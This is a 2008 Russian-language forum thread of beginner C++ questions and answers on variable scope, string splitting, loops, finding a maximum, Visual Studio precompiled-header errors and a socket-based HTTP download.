область видимости переменной - это ее свойство, благодаря которому переменные можно делать локальными или глобальными. Если переменная объявлена в теле функции/цикла/условия, то и обращаться к ней можно только внутри тела функции/цикла/условия. Это вполне нормальное поведение для многих ЯП.
Например, если разработкой программы занимается целый отдел, то сколько человек в своих функциях объявят переменную i для использования в циклах. И надо как эти переменный разделять.
Еще пример: чтобы было в рекурсивных функциях, не будь у них своей области видимости? толку от них уж точно мало будет.

Barttos
30.08.2008, 17:13
nerezus, читал ))
но книга старая...

nerezus
30.08.2008, 19:56
в коде полученном после компиляции этой программы? После компиляции - это уже бинарник. В каждом компилере он свой и т.д.
Тем более чтот я не знаю асм в достаточной степени, чтобы его так легко читать.
Я вообще веб-программист)

Просто я сказал факт. И мои слова подтвердил код(см. мой пример) и ошибка компилятора.

4p3
30.08.2008, 20:17
BEGINNER, это просто одно из правил С++, которое облегчает жизнь. Просто такое джентельменской соглашение. Это все равно что закрытые члены класса. Вроде как они закрыты, однако если провести фокус с указателями, то можно спокойно получить к ним доступ.
Вы продемонстрировали исходник на асме. Используется регистр Ebp, которые работает со стеком. В данном коде очень мало переменных, а если их будет больше? Кто даст гарантию, что Х будет все время находится именно по этому адресу? Может компилятор решит на его место записать что-то другое и что дальше произойдет? Правильно, Х перестанет существовать. Зачем хранить уже не нужные переменные?

cylaaaan
31.08.2008, 00:48
как в с++ разделить 127.0.0.1:8080 в массив

к примеру на php:
$address = "127.0.0.1:8080";
$array = explode(":", $address);
echo $array[0]." - ".$array[1];

и как сделать на си++ примерно так (php):
foreach($array as $key => $value)
echo $key." ".$value."\n";

4p3
31.08.2008, 02:00
// test.cpp : Defines the entry point for the console application.
//
#include <iostream>
#include <cstdlib>
#include <fstream>
#include <string>
#include <vector>
#include "stdafx.h"

using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
vector<string> vectIP;
vector<string> vectPort;
string strValues;
fstream File("c:\\proxies.txt");

while (!File.eof())
{
getline(File, strValues, ':');
vectIP.push_back(strValues);
getline(File, strValues, '\n');
vectPort.push_back(strValues);
}

for (unsigned int i = 0;i < vectIP.size();++i)
{
cout << vectIP[i] << ":" << vectPort[i] << endl;
}

File.close();
system("pause");
return 0;
}


Это для файла.

Если у тебя строка, то тут проще.
// test.cpp : Defines the entry point for the console application.
//
#include <iostream>
#include <cstdlib>
#include <string>
#include "stdafx.h"

using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
string strSomething = "127.0.0.1:8808";
int nPos = strSomething.find(':');
string strIP = strSomething.substr(0, nPos);
string strPort = strSomething.substr(nPos+1);

cout << strIP << ":" << strPort << endl;
system("pause");
return 0;
}

4y4o
31.08.2008, 19:04
#include "stdafx.h"
#include <iostream>
#include <iomanip>
using namespace std;
int main()
{
float nomwet = 0, nachbal = 0, rashod = 0, prihod = 0, predel = 0, newbal = 0;
while (nomwet != -1)
{cout << "Vvedite nomer weta (ili -1): ";
cin >> nomwet;
cout << "Vvedite na4alniu balans: ";
cin >> nachbal;
cout << "Vvedite symmy rashodov: ";
cin >> rashod;
cout << "Vvedite symmy prihoda: ";
cin >> prihod;
cout << "Vvedite predel kredita: ";
cin >> predel;
cout << "HOMEP WETA: " << nomwet << endl;
newbal = nachbal + rashod - prihod;
cout << "Balans: " << newbal << endl;
if (newbal > predel)
cout << "PREDEL PREVUWEN!!!\n";}
return 0;
}

Почему после ввода -1 цыкл сразу не прерывается а требует ввода всех остальных данных и только тогда прерывается?

Smapt
31.08.2008, 19:09
Всё правильно, цикл сразу должен дойти до конца, после чего ин проверит nomwet и если она равна -1 завершится.


Ппробуй что-нить в этом роде:

#include "stdafx.h"
#include <iostream>
#include <iomanip>
using namespace std;
int main()
{
float nomwet = 0, nachbal = 0, rashod = 0, prihod = 0, predel = 0, newbal = 0;
while (1)
{cout << "Vvedite nomer weta (ili -1): ";
cin >> nomwet;

if (nomwet==-1)
{
getchar();
return 0;
}

cout << "Vvedite na4alniu balans: ";
cin >> nachbal;
cout << "Vvedite symmy rashodov: ";
cin >> rashod;
cout << "Vvedite symmy prihoda: ";
cin >> prihod;
cout << "Vvedite predel kredita: ";
cin >> predel;
cout << "HOMEP WETA: " << nomwet << endl;
newbal = nachbal + rashod - prihod;
cout << "Balans: " << newbal << endl;
if (newbal > predel)
cout << "PREDEL PREVUWEN!!!\n";}
return 0;
}

4y4o
31.08.2008, 19:10
как зделать чтобы при nomwet = -1 цыкл сразу завершился?

ExZoD
31.08.2008, 19:42
if (nomwet == -1) break;

4y4o
01.09.2008, 00:53
Господа как сравнить десять введённый чисел? Только if? или можна по другому?

UnPazz
01.09.2008, 01:10
Господа как сравнить десять введённый чисел? Только if? или можна по другому?

для чего сравнивать? в сортировке используется сравнение? Сортировки разные есть - по разному можно сравнивать 10 чисел - почти всегда только if используется, но иногда нет.
Например, вот алгоритм сортировки Шелла :

{на входе массив чисел a}
procedure sort;
var i,j,k,h,shag,t:integer;
begin
k:=0;
shag:=trunc( ln(n) / ln(2)-1); {vichislenie shaga metodom knuta}

for h:=shag downto 1 do
begin
k:=h;
for i:=k to n do
begin
t:=a[i];
j:=i-k;
while (j>0) and (t<a[j]) do
begin
a[j+k]:=a[j];
j:=j-k;
end;
a[j+k]:=t;
end;
end;

end;
Напиши, подробнее что нужно.

4y4o
01.09.2008, 01:17
ох ты )) Извени. во первых С++, во вторых вводим десять чисел и нада определить большее из них.

Smapt
01.09.2008, 01:31
Господа как сравнить десять введённый чисел? Только if? или можна по другому?

_http://ru.wikibooks.org/wiki/Язык_Си_в_примерах/Сортировка

почтай, должно помочь)

4p3
01.09.2008, 09:11
Юзайте #include <algorithm>

Изобретение велосипеда, это не true

// test.cpp : Defines the entry point for the console application.
//
#include <iostream>
#include <cstdlib>
#include <algorithm>
#include "stdafx.h"

using namespace std;

int _tmain(int argc, _TCHAR* argv[])
{
const int nSize = 10;
int nArray[nSize];

for (int i = 0;i < nSize;++i)
cin >> nArray[i];
cout << *std::max_element(nArray, &nArray[10]) << endl;//дадада именно на 11 элемент. Это же итераторы
system("pause");
return 0;
}

ronald
01.09.2008, 19:06
1-st:
#include "stdafx.h"
#include <iostream>
#include <iomanip>
#include <conio.h>
using namespace std;
int main()
{
float nomwet = 0, nachbal = 0, rashod = 0, prihod = 0, predel = 0, newbal = 0;
while (1)
{cout << "Vvedite nomer weta (ili -1): ";
cin >> nomwet;
}

if (nomwet==-1)
{
getchar();
cout<<"Finishing program...";
sleep (скок хошь, но тут по-мойму в милисекундах);
_getch(); //если VS 2005 и далее,то так, раньше - getch()
return 0;
}
else
{
cout << "Vvedite na4alniu balans: ";
cin >> nachbal;
cout << "Vvedite symmy rashodov: ";
cin >> rashod;
cout << "Vvedite symmy prihoda: ";
cin >> prihod;
cout << "Vvedite predel kredita: ";
cin >> predel;
cout << "HOMEP WETA: " << nomwet << endl;
newbal = nachbal + rashod - prihod;
cout << "Balans: " << newbal << endl;
if (newbal > predel)
cout << "PREDEL PREVUWEN!!!\n";}
return 0;
}

Zakary
02.09.2008, 10:02
#include <iostream> не работает...при компиляции выдает ошибку...

ну т.е.
в коде любом типа
#include <iostream>

int main()
{
std::cout << "Hello, world!" << std::endl;
return 0;
}

пишет 1 error.

Итааак...) visual C++ 2008 express edition

вот о_О может потому что экспресс?:)

nc.STRIEM
02.09.2008, 11:48
попробуй
#include <iostream.h>
хотя должно работать и так как ты написал

4p3
02.09.2008, 13:50
#include <iostream> не работает...при компиляции выдает ошибку...

ну т.е.
в коде любом типа
#include <iostream>

int main()
{
std::cout << "Hello, world!" << std::endl;
return 0;
}

пишет 1 error.

Итааак...) visual C++ 2008 express edition

вот о_О может потому что экспресс?:)

Нет, явно не потому что Express, оно должно отличаться только наличием компонентов. Да и не будет такая компания отпугивать потенциальных клиентов. Ладно.. о чем я..

Описание ошибки в студию. Похоже на ошибку линковки. Все дело в прекомпиленных хидерах.

сделай

#include "stdafx.h"

попробуй
#include <iostream.h>
хотя должно работать и так как ты написал

На сколько я сведущ, то в Студии отказались от старых хидеров и либ. Потому <iostream.h> No such file or directory.

Zakary
03.09.2008, 01:22
при
#include <iostream>
int main()
{
std::cout << "Hello, world!" << std:endl;
return 0;
}
выдает:

Compiling...
1>234.cpp
1>c:\users\rus\documents\visual studio 2008\projects\234\234\234.cpp(1) : warning C4627: '#include <iostream>': skipped when looking for precompiled header use
1> Add directive to 'stdafx.h' or rebuild precompiled header
1>c:\users\rus\documents\visual studio 2008\projects\234\234\234.cpp(7) : fatal error C1010: unexpected end of file while looking for precompiled header. Did you forget to add '#include "stdafx.h"' to your source?
1>Build log was saved at "file://c:\Users\Rus\Documents\Visual Studio 2008\Projects\234\234\Debug\BuildLog.htm"
1>234 - 1 error(s), 1 warning(s)

при

#include 'stdafx.h' int main() { std::cout << "Hello, world!" << std:endl; return 0; }

выдает:
1>Compiling... 1>234.cpp 1>c:\users\rus\documents\visual studio 2008\projects\234\234\234.cpp(1) : error C2015: too many characters in constant 1>c:\users\rus\documents\visual studio 2008\projects\234\234\234.cpp(1) : error C2006: '#include' : expected a filename, found 'constant' 1>c:\users\rus\documents\visual studio 2008\projects\234\234\234.cpp(1) : fatal error C1083: Cannot open include file: '': No such file or directory 1>Build log was saved at "file://c:\Users\Rus\Documents\Visual Studio 2008\Projects\234\234\Debug\BuildLog.htm" 1>234 - 3 error(s), 0 warning(s)

при

#include <iostream>
#include 'stdafx.h'
int main()
{
std::cout << "Hello, world!" << std:endl;
return 0;
}

выдает

>c:\users\rus\documents\visual studio 2008\projects\234\234\234.cpp(1) : warning C4627: '#include <iostream>': skipped when looking for precompiled header use 1> Add directive to 'stdafx.h' or rebuild precompiled header 1>c:\users\rus\documents\visual studio 2008\projects\234\234\234.cpp(2) : error C2015: too many characters in constant 1>c:\users\rus\documents\visual studio 2008\projects\234\234\234.cpp(2) : error C2006: '#include' : expected a filename, found 'constant' 1>c:\users\rus\documents\visual studio 2008\projects\234\234\234.cpp(2) : fatal error C1083: Cannot open include file: '': No such file or directory 1>Build log was saved at "file://c:\Users\Rus\Documents\Visual Studio 2008\Projects\234\234\Debug\BuildLog.htm" 1>234 - 3 error(s), 1 warning(s)

о_О ояе6у....

iv.
03.09.2008, 01:52
2Zakary:
1 вариант:
Alt+F7 > Configuration Properties > C/C++ > Precompiled Headers > Create/Use Precompiled Headers > Not Using Precompiled Headers
2 вариант:
создавай пустой проект (галочка на Empty Project при создании)
3 вариант:
не надо ничего трогать при создании шаблонного проекта =)

PS: одинарные кавычки в директиве include вроде не катят

Zakary
03.09.2008, 02:06
1. Alt+F7 > Configuration Properties > сделал:)
теперь прогресс:)

1 ошибка осталася:)


в этом коде:
#include <iostream>
using namespace std;
int main();

{
cout << "Hello, world!" << endl;
return 0;
}

1 error получается:
error C2447: '{' : missing function header (old-style formal list?)

2. Да:)) создаю пустой проект..... о_О

3. А когда ничего не трогаю то мне непонятно чего за там шаблон он создал))

да)) как я тоже понял одинарные кавычки не катят)) а и двойные тоже...о_О

iv.
03.09.2008, 02:21
Alt+F7 > Configuration Properties > нашел...дальше нет ничего подобного....
Странно, неужели в 2008 студии так все переделали. Поищи получше что-нить подобное.
3. А когда ничего не трогаю то мне непонятно чего за там шаблон он создал))
Коммент из этого файла собственно:
// stdafx.h : include file for standard system include files,
// or project specific include files that are used frequently, but
// are changed infrequently
короче говоря, актуален он скорее для больших проектов.
да)) как я тоже понял одинарные кавычки не катят)) а и двойные тоже...о_О
Ты его не удалил там случаем?
#include "stdafx.h"
правой кнопкой по "stdafx.h" > Open document "stdafx.h" - открывает его?

iv.
03.09.2008, 02:25
#include <iostream>
using namespace std;
int main();

{
cout << "Hello, world!" << endl;
return 0;
}
int main()

Zakary
03.09.2008, 02:34
Ну я нашел, ты видел:)

int main() без ; поставил и ошибка

fatal error LNK1120: 1 unresolved externals

stdafx.h - открывает:)

iv.
03.09.2008, 02:47
Ну я нашел, ты видел

int main() без ; поставил и ошибка

fatal error LNK1120: 1 unresolved externals

stdafx.h - открывает
Мда =) ну ошибка походу означает, что ты используешь функцию из неподключенной библиотеки..
У меня на 2005 студии пример твой компилится без каких-либо проблем.

Zakary
03.09.2008, 02:59
Я б любую студию поставил...) ток у меня на проверке будет всегда 2008.

впринципе можно поставить 2 под одну ос??? например ещё 2006 если поставлю о_О?

эммм....хочешь я логически поразмыслю?)))) если неподключенная библиотека, то значит мне надо библиотеки подключить..так?:)

iv.
03.09.2008, 03:06
впринципе можно поставить 2 под одну ос??? например ещё 2006 если поставлю о_О?
Без проблем. Правда нет такой студии 2006, только 2005.
эммм....хочешь я логически поразмыслю?)))) если неподключенная библиотека, то значит мне надо библиотеки подключить..так?
Тут два варианта, либо инсталлер тупо не поставил стандартные библиотеки под С++, так что cout у тебя неоткуда брать, либо кривые настройки линкера там.
Я наслышан про проблемы с 2008 студией, поэтому пока по старинке использую 2005 =)

Zakary
03.09.2008, 03:18
ну инсталлер у меня весил 200 килобайт с микрософт.ком, а потом он устанавливал с сервера(или как это правильо называется? путем закачки)

Тебе спасибо огромное. Попробую 2005 поставить:)
видимо ещё напишу:)

ForNeVeR
03.09.2008, 07:30
Пользуюсь 2008 студией, пишу консольные проги на стандартных либах. Никаких проблем до сих пор не было (правда, у меня Team Studio с MSDN из Express Edition ;). Точнее, проблемы встречались, но я с ними справлялся.

Zakary
03.09.2008, 10:57
Кароч:) на 2005 экспресс - всё, всё работает без проблееем)) ваще круто:))

agrofyl2
03.09.2008, 17:17
Здрасте.
Проблемка.

Пытаюсь получить страницу по HTTP.
Вот кусок кода:


char getbuf[1];
int one=0, nowheader=1;
while(1) {
ret=recv(sDownload, getbuf, 1, 0);
if (ret == SOCKET_ERROR) return 1;
if(ret == 0) break;
if(nowheader) {
fileheader.write(getbuf, 1);
if(getbuf[0]=='\n') {
if(one) {
nowheader=0;
//fileheader.flush();
fileheader.close();
}
one=1;
}
else if(getbuf[0]!='\r') one=0;
}
else file.write(getbuf, 1);
}
file.flush();
file.close();


Но при получении файла, после каждого "Энтера"('\r\n") появляется еще один, например вместо

<html>
<body>
<head>


следующая строка


<html>

<body>

<head>



Помогите исправить ошибку.

BEGINER
03.09.2008, 19:41
#include <iostream> не работает...при компиляции выдает ошибку...

ну т.е.
в коде любом типа
#include <iostream>

int main()
{
std::cout << "Hello, world!" << std::endl;
return 0;
}

пишет 1 error.

Итааак...) visual C++ 2008 express edition

вот о_О может потому что экспресс?:)

Неделю назад поставил visual C++ 2008 express edition
Создал новый пустой проект написал туда этот код, выключил прекомпилированные заголовки, все скомпилировалось.
Если поможет, то такой вывод Build Log Build started: Project: 123456, Configuration: Release|Win32
Command Lines Creating temporary file "f:\project\123456\123456\Release\RSP00002677420700 60.rsp" with contents
[
/O2 /Oi /GL /D "WIN32" /D "NDEBUG" /D "_CONSOLE" /D "_UNICODE" /D "UNICODE" /FD /EHsc /MD /Gy /Fo"Release\\" /Fd"Release\vc90.pdb" /W3 /c /Zi /TP .\123456.cpp
]
Creating command line "cl.exe @f:\project\123456\123456\Release\RSP0000267742070 060.rsp /nologo /errorReport:prompt"
Creating temporary file "f:\project\123456\123456\Release\RSP00002777420700 60.rsp" with contents
[
/OUT:"F:\project\123456\Release\123456.exe" /INCREMENTAL:NO /MANIFEST /MANIFESTFILE:"Release\123456.exe.intermediate.manifest" /MANIFESTUAC:"level='asInvoker' uiAccess='false'" /DEBUG /PDB:"F:\project\123456\Release\123456.pdb" /SUBSYSTEM:CONSOLE /OPT:REF /OPT:ICF /LTCG /DYNAMICBASE /NXCOMPAT /MACHINE:X86 kernel32.lib user32.lib gdi32.lib winspool.lib comdlg32.lib advapi32.lib shell32.lib ole32.lib oleaut32.lib uuid.lib odbc32.lib odbccp32.lib

".\Release\123456.obj"
]
Creating command line "link.exe @f:\project\123456\123456\Release\RSP0000277742070 060.rsp /NOLOGO /ERRORREPORT:PROMPT"
Creating temporary file "f:\project\123456\123456\Release\RSP00002877420700 60.rsp" with contents
[
/outputresource:"..\Release\123456.exe;#1" /manifest

.\Release\123456.exe.intermediate.manifest
]
Creating command line "mt.exe @f:\project\123456\123456\Release\RSP0000287742070 060.rsp /nologo"
Creating temporary file "f:\project\123456\123456\Release\BAT00002977420700 60.bat" with contents
[
@echo Manifest resource last updated at %TIME% on %DATE% > .\Release\mt.dep
]
Creating command line "f:\project\123456\123456\Release\BAT00002977420700 60.bat"
Output Window Compiling...
123456.cpp
Linking...
Generating code
Finished generating code
Embedding manifest...
Results Build log was saved at "file://f:\project\123456\123456\Release\BuildLog.htm"
123456 - 0 error(s), 0 warning(s)

ronald
03.09.2008, 21:04
Такая же быль трабл, просто открой стдафкс (лень язык переключать-контрл отлетел) и вбей туда #include <iostream.h> вродь должно пахать, не поможет, стукни в ЛС